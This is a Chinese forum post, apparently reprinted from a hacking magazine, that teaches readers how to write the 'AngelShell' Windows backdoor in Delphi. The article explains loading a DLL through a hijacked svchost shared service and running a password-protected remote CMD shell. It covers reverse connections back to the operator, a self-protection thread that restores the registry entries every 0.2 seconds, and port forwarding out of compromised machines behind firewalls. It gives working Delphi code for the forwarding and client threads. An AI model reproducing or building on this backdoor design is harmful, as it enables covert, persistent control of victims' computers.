HanDs
管理员

[Delphi文章] 让所有正向程序实现反向连接 



适合读者:编程爱好者、入侵爱好者
前置知识:Delphi编程基础
Socket:在AngelShell的应用篇中,我们一起领略了它的风采,这个传奇式的能将正向程序实现反向连接的后门的确是不可多得的一道大餐!
相信很多朋友一定想知道它是怎么做出来的吧?我也是,马上进入AngelShell的代码世界……

  做为一个后门程序,首先需要隐蔽性强,其次要具备实用的功能,个头也不能太大,自我保护功能还得强,最后程序运行要稳定,
否则半路出错可就麻烦了;还有需要支持多用户同时登陆,且互不影响;对于硬件防火墙或内网的计算机,后门还需要提供反向连接的功能。
关于隐蔽,我一向很看好DLL型的后门,这类后门一向都很难察觉到,而且DLL程序也自有它的优势,因为它可以利用Windows的服务共享来启动,
也就是利用系统进程Svchost来实现加载。这样的后门,先不说隐蔽,就算你知道自己中了后门,要清除起来也是十分麻烦的。
下面我们就一步一步来讲解AngelShell的编写方法。

  服务共享

  Windows系统服务分为独立进程和共享进程两种,在Windows 2000以后的操作系统中微软又把很多服务做成了共享方式,
由Svchost.exe启动。Windows 2000一般有2个Svchost进程,一个是RPCSS(Remote Procedure Call)服务进程,
另外一个则是由很多服务共享的Svchost.exe。Windows XP中则一般有4个以上的Svchost.exe服务进程,
Windows 2003 Server中则更多。这样做虽然在一定程度上减少了系统资源的消耗,不过也带来一定的不稳定因素,
因为任何一个共享进程的服务因为错误退出进程的话,就会导致整个进程中的所有服务都退出。    
这里我们选择替换DLL的方式,原理是修改注册表中共享服务的ServiceDll值,把它变成自己的路径,然后把Start的值改成2,
这样服务就自动启动了。当DLL被Svchost加载后,会执行DLL中一个过程名为ServiceMain的过程,所以整个程序都是从ServiceMain这个过程开始启动的。
另一点是要实现端口转发,要实现端口转发其实并没有大家想象的那么复杂,其主要的连接模式应该如图1所示。

 


图1

  其中肉鸡外面的那一圈表示防火墙或者内网。后门首先连接Fport客户端,然后本机直接连接Fport客户端模拟出来的端口,
然后后门在肉鸡上连接真正的端口,最后进行数据中转,通过多线程技术来处理多个连接,这样就完成了整个端口转发的过程。

   为了避免系统出问题,我从注册表中找了一个无关紧要的服务。就是“Portable Media Serial Number Service”,
这个服务是系统本身自带的服务,但是默认是停止的。我们只需要把它的DLL指向我们的DLL,然后把服务设为自动就可以了。

  线程分配

  编程实现其实并不难,重在流程。当我们想清楚了实现原理的时候,在心中就要有这个程序运行的大致流程:

★安装:  
使用Rundll32来安装。首先判断后门是否在系统目录,如果是则继续,不是的话则把自己复制到系统目录,然后重新安装。
再修改注册表,完成安装,然后执行服务。

★服务:
一共有8个线程,先给大家介绍一下这8个线程的作用。
1.这也是主线程。这个线程用来接收正向连接。
2.这个线程用来管理反向连接,每过一定的时间去指定的位置下载信息,然后尝试反向连接。
3.这个线程用来处理新接收的用户。当上面两个线程接收到新的连接时就开辟出来,使每个用户都拥有自己独立的线程运作,互不冲突。当接收用户连接后它将同时开辟出4号线程,然后负责处理用户的数据。如果是附加功能就直接执行(比如是端口转发就直接开辟出6号线程),如果不是附加功能就交由CMD进程处理。
4.这个线程由上面一个线程开出,负责把CMD的输出数据传输给用户。
5.自我保护线程。这个线程负责保护自己:由于以服务共享方式启动的服务是无法在中途停止的,所以要停止服务只有在服务管理器中设置为手动或禁用,再重启才能停止。这就给了这个保护线程一个极大的机会。这个线程负责每0.2秒钟检查一次注册表,如果发现自己被设置为手动或者禁用,或者被从Svchost组中删除,甚至整个服务都被删除,也都可以会立刻恢复!
6.这个线程由3号线程开出,用来管理端口转发线程的开辟。也就是管理后面两个线程,每接收一个新的连接就开辟出后面两个线程,并把Socket句柄交给后两个线程去处理。
7.这个线程用来把服务器的数据传输给客户端。
8.这个线程用来把客户端数据发送给服务器。
8个线程就分工完毕了,分工还算比较明确吧?每个线程都只管做好自己的事。当服务启动时,首先会开出1、2、5这三个线程,然后1号线程等待用户的连接,2号线程主动连接用户,5号线程开辟出以后一般就不需要变动了(除非卸载)。当用户连接上时,1(或2)号线程就开辟出一个3号线程,并把其Socket句柄作为参数传给它然后继续自己的事,然后3号线程对用户进行密码验证。如果密码正确则继续,否则断开连接,退出线程。然后3号线程建立起2个匿名管道和CMD进程,并把管道的输入输出句柄赋给CMD进程。然后开辟出4号线程,并把匿名管道的句柄和Socket句柄传递给它,它负责把CMD的输出传给用户,并负责接收、处理用户的数据。当接收到用户的数据时,判断是否是属于附加命令,如果是则执行,否则交由CMD进程去处理。

  端口转发

  下面讲最重要的实现端口转发的部分了,睡着的赶快给起来!
当3号线程判断命令是端口转发命令时,则自动开出6号线程,并把相关IP和端口作为参数传给它,然后继续去忙自己的事。
6号线程则首先尝试与客户端建立连接,如果连接成功则等待数据,此时客户端在客户机上模拟出相应的端口,然后客户就连接自己这个模拟出来的端口。
客户端接收连接后发送任意1个字节的数据给服务端,表示已经有了一个新的连接。此时服务端就连接自己那边的真正的端口,然后就开辟出7、8号线程
来管理这个连接,7、8号线程就开始了自己的工作,配合并负责把自己端口的出入数据全部模拟到客户端。此时6号线程也还是不肯闲着,
它还想继续接收新的连接,所以它又与客户端建立了一个新的连接,如果连接成功则继续等待。客户端如果又有新的连接的话就再发一个字节的数据过来,
表示又有一个新的连接,然后6号线程再连接自己这边的端口,然后再开出新的7、8号线程……如此循环.就达到了一个把服务器端口反向模拟到客户端的
目的,并且还能支持多条连接,其中每个连接是由2个线程来管理的。既然完整的流程已经出来了,写代码自然不在话下了。

  编程实现  

  限于篇幅,这里只帖出关键的代码,和一些要注意的地方,然后结合注释给大家讲一下,方便大家理解。

小知识:这里介绍一下关于Delphi里的网络编程和多线程编程。Delphi里提供了一大堆基于各种协议的控件,可以很方便的进行网络编程。
当然,本文不是教你用这些控件,而是使用WinSock单元里的Socket函数来实现功能。具体用法可以参见源代码,或查看Winsock单元。
至于多线程,在Delphi的Classes单元里面有一个Tthread类,你只需要建立一个该类的子类,然后重载他的Execute方法就可以轻松的实现多线程了。
具体用法可以参见源代码,或查看Classes单元。

  下面这个函数是我和别人聊天时无意中想到的,它的作用是安装时用来取得自己的DLL路径。应用程序要取得自己的路径方法很多,可是用Rundll32来运行的DLL程序要取得自己的路径就没那么幸运了,顶多从第一参数中分析出自己的文件名。不过这里我教大家一个方法,就是首先取得自己的进程ID,然后分析自己这个Rundll32进程的模块,只要文件名与自己相匹配的就找到目标了,然后它的路径也就是后门的路径了。
       Function GetMypath:string;
          //用来获取自己的DLL路径的另类方法
       var
         ModuleList        :Cardinal;
         pm                :TMODULEENTRY32;
       begin
         Result:='';
         ModuleList:=CreateToolhelp32Snapshot(TH32CS_SNAPMODULE,GetCurrentProcessId);
         pm.dwSize:=sizeof(TMODULEENTRY32);
         if module32first(ModuleList,pm) then
            repeat
               if UpperCase(GetName(pm.szExePath))=UpperCase(myname) then  //myname的变量是自己的DLL文件名
                  begin                  //GetName函数用来从路径中取得文件名。
                    Result:=pm.szExePath;   //如果文件名相同则返回模块的路径
                    break;
                  end;
            until not(module32next(ModuleList,pm));
         closehandle(ModuleList);
       end;   
下面这一段是6号线程的实现代码,通过代码和注释,你可以很清楚的看见它的实现方式。我们继续:
Procedure Tfport.execute;
var
  localfd,remotefd      :integer;
  myaddr,youraddr       :sockaddr_in;
  IP                    :string;
  ws                    :wsadata;
  Buf                   :byte;
Begin                            
  if not(HosttoIP(yourip,ip)) then ip:=yourip;
  WSAStartup(makeword(2,2),ws);       //初始化Windows Socket Dll
  youraddr.sin_family:=AF_INET;    //设置协议
  youraddr.sin_port:=htons(yourport);   //端口信息
  youraddr.sin_addr.S_addr:=inet_addr(pchar(ip));   //IP信息
  myaddr.sin_family:=AF_INET;     
  myaddr.sin_port:=htons(myport);
  myaddr.sin_addr.S_addr:=inet_addr(pchar('127.0.0.1'));
  remotefd:=socket(AF_INET,SOCK_STREAM,0);   //建立Socket
  localfd:=socket(AF_INET,SOCK_STREAM,0);
   //从这里开始一直到下面属于关键地方!
  while connect(remotefd,youraddr, sizeof(sockaddr_in))<>-1 do    //建立连接
       begin
            while true do                           //等待连接
                case Recv(remotefd,buf,1,0) of  
                    -1:begin                    //连接关闭则退出
                        closesocket(remotefd);
                        closesocket(localfd);
                        exit;
                       end;
                    0:begin
                        sleep(1);    //这一句很重要!没有这一句会导致整个系统资源都被它吃光。
                      end;
                    else break;    //如果收到一个字节的数据则跳出这个循环,表示已经有新的连接了。
                end;
            if connect(localfd,myaddr,sizeof(sockaddr_in))=-1 then  //连接失败则继续新的连接。
                begin
                        closesocket(remotefd);
                        closesocket(localfd);
                        remotefd:=socket(AF_INET,SOCK_STREAM,0);
                        localfd:=socket(AF_INET,SOCK_STREAM,0);
                        continue;
                end;
            Tsend.Create(localfd,remotefd);    //成功则创建2个线程负责传输数据,并把句柄传给它。
            Trecv.Create(localfd,remotefd);
            remotefd:=socket(AF_INET,SOCK_STREAM,0);    //再开辟出新的Socket,来建立新的连接。
            localfd:=socket(AF_INET,SOCK_STREAM,0);
       end;
  closesocket(remotefd);
  closesocket(localfd);
end; 需要转发数据的7、8号线程怎么办呢?因为是两个线程管理,所以一个线程只管往一个方向传输数据就可以了,所以这样编程很方便,速度也快。这里仅结合关键代码说一下:
Procedure Tsend.execute;     //这是其中的一个线程。负责把服务端数据发送到客户端
var
  Buf           :TBigbuf;
  Len           :integer;
  test          :byte;
begin
  while true do          //建立死循环来处理数据
     begin
       Len:=Recv(localfd,Buf,BigBufsize,0);
       case Len of
           -1:begin           //如果连接断开则退出线程
                   closesocket(localfd);
                   closesocket(remotefd);
                   exit;
              end;
            0:begin
                 if send(remotefd,test,0,0)=-1 then       //检测连接状态
                    begin
                      closesocket(remotefd);
                      closesocket(localfd);
                      exit;
                    end;
                 sleep(1);          //这一句同样重要,否则将吃光你的系统资源
              end;
          else
              begin
                 if send(remotefd,buf,len,0)=-1 then   //如果接收到数据则无条件转发.
                    Begin                 //如果发送失败则退出线程.
                      closesocket(localfd);
                      closesocket(remotefd);
                      exit;
                    end;
              end;
       end;
     end;
end; 另外还有一个地方要注意,那就是安装时修改注册表的那一项,这个地方浪费了我几个小时。记得有天晚上弄了半天Svchost就是不加载偶的DLL,郁闷啊!最后快要疯了的时候突然看到这样的东西,如图2所示。
 
图2
原来它的数据类型是扩展型的字符串,而我用Tregistry类提供的方法写入的类型是普通的字符串,所以当Svchost读取注册表时会无法识别。知道原因后,立即抛弃了Tregistry类,上网找了篇操作注册表的文章,直接调用就可以了(代码见光盘)。修改好以后,偶的DLL终于被Svchost执行了,心中那个舒畅啊!还好没疯。

客户端的编写
流程仍然是最关键的,配合下面的源代码和注释,我们一起来看一下大致的流程:
    while true do                    //这是管理线程的关键代码。功能类似于服务端的6号线程
      begin
        repeat
                you:=accept(remotefd,@their_addr,@size1);   //首先接收服务端的一个连接。
        until you<>-1;
        if isfirst then
           begin
              memo1.Lines.Add('已经接收到远程计算机的连接!');  //如果是第一次接收则显示信息。
              memo1.Lines.Add('请在本地连接'+edit1.Text+'端口');
              isfirst:=false;
           end;
        repeat
                I:=accept(localfd,@their_addr,@size2);   //接收了服务端的连接后再接收本地的一个连接。
        until I<>-1;
        if send(you,s,1,0)=-1 then       //发送一个字节的数据给服务端,表示本地新接收了一个连接
            begin               //如果连接失败则继续下一次连接。
                memo1.Lines.Add('建立连接失败,对方断开连接,或者已达最大连接数');
                closesocket(i);
                closesocket(you);
                continue;
            end;
        memo1.Lines.Add('已经成功建立一个新的连接。');   //连接成功,开辟出2个新的线程来实现数据转发,并把Socket句柄交给它们。
        Tsend.Create(I,you);
        Trecv.Create(I,you);
      end;                  //回到上面继续接收服务端的一个新的连接,如此循环。 
关于配置程序的编写,很多人可能都不知道该怎样写,其实很简单,其中一种方法就是把服务端程序转化成Byte型的数组嵌入程序,然后再用WinHex找一下一些类似于密码等关键数据的地址偏移量,然后只要把那个位置的数据按照要求修改一下,保存到磁盘就可以生成了服务端。
好了,程序的介绍就到这里了,欢迎大家到黑防论坛上一起讨论相关的技术,期待更新的技术出现!

 


学习中请遵守法律法规,本网站内容均来自于互联网,本网站不负担法律责任
所有 正向 程序 实现 连接
#1楼
发帖时间:2016-7-9   |   查看数:0   |   回复数:0
游客组
快速回复